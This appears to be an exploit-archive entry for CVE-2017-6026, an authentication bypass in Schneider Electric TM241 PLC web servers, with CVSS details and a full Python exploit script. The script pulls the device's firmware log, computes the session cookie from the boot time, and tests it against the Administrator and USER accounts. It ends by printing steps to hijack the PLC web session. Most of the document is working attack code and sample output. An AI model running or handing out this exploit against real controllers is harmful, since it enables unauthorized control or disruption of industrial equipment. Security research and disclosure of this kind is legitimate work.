Schneider Electric PLC Authentication Bypass

2018.12.01
Credit: Deneut Tijl
Risk: Low
Local: No
Remote: Yes
CWE: CWE-330


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

#! /usr/bin/env python ''' Copyright 2018 Photubias(c) # Exploit Title: Schneider Session Calculation - CVE-2017-6026 # Date: 2018-09-30 # Exploit Author: Deneut Tijl # Vendor Homepage: www.schneider-electric.com # Software Link: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/ # Version: Schneider Electric PLC 4.0.2.11 & Boot v0.0.2.11 # CVE : CVE-2017-6026 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2017-6026-SchneiderSessionCalculation.py written by tijl[dot]deneut[at]howest[dot]be Tested on the Schneider TM241 PLC with Firmware 4.0.2.11 & Boot 0.0.2.11. Firmware: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/ Security Note: https://www.schneider-electric.com/en/download/document/SEVD-2017-075-02/ This script will calculate the website session cookie, which is static after every reboot. (This cookie is actually the Epoch time at PLC startup) The only prerequisite is that, since the reboot, a user must have been logged in. E.g. Administrator (with default password 'admin') or USER (with default password 'USER') After retrieving the cookie, various website actions are possible (including a DoS). Sample output: C:\Users\admin\Desktop>SchneiderGetSession.py Please enter an IP [10.10.36.224]: This device has booted 33 times Cookie: 1521612584 (22/03/2018 06:09:44.014) ---------------- --- Device: TM241CE40R --- MAC Address: 0080F40B24E0 --- Firmware: 4.0.2.11 --- Controller: Running ---------------- Press Enter to close ''' import urllib2 strIP = raw_input('Please enter an IP [10.10.36.224]: ') if strIP == '': strIP = '10.10.36.224' FwLogURL = 'http://' + strIP + '/usr/Syslog/FwLog.txt' try: FwLogResp = urllib2.urlopen(urllib2.Request(FwLogURL)).readlines() NumberOfPowerOns = 0 for line in FwLogResp: if 'Firmware core2' in line: NumberOfPowerOns += 1 CookieVal = line.split(' ')[1] BootupTime = line.split('(')[1].split(')')[0] NumberOfPowerOns /= 2 except: print('Error: URL not found.') raw_input('Press enter to exit') exit() try: CookieVal except: print('Error: ' + FwLogURL + ' does not contain the necessary data.') raw_input('Press Enter to Exit') exit() print('This device has booted ' + str(NumberOfPowerOns) + ' times') print('Cookie: ' + CookieVal + ' (' + BootupTime + ')') print('----------------') raw_input('Press enter to see if the cookie is set on the webserver.'+"\n") CtrlURL = 'http://' + strIP + '/plcExchange/getValues/' CtrlPost = 'S;100;0;136;s;s;S;2;0;24;w;d;S;1;0;8;B;d;S;1;0;9;B;d;S;1;0;10;B;d;S;1;0;11;B;d;' try: CtrlUser = 'Administrator' DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal}) DataResp = urllib2.urlopen(DataReq).read() except: print('Failure for user \'Administrator\'') try: CtrlUser = 'USER' DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal}) DataResp = urllib2.urlopen(DataReq).read() except: print('Failure for user \'USER\'') raw_input('Press enter to exit') print('### SUCCESS (' + CtrlUser + ') ###') print('--- Device: ' + DataResp.split(' ')[0]) print('--- MAC Address: ' + DataResp.split(';')[0].split(' ')[1][1:]) print('--- Firmware: ' + DataResp.split(';')[2] + '.' + DataResp.split(';')[3] + '.' +DataResp.split(';')[4] + '.' +DataResp.split(';')[5]) state = DataResp.split(';')[1] if state == '2': print('--- Controller: Running') elif state == '1': print('--- Controller: Stopped') elif state == '0': print('--- Controller: ERROR mode') print('') print('--- To exploit: Create cookie for domain "'+strIP+'"') print(' with name "M258_LOG" and value "'+CtrlUser+':'+CookieVal+'"') print(' and open "http://'+strIP+'/index2.htm"') print('') print('----------------') raw_input('Press enter to close') exit()


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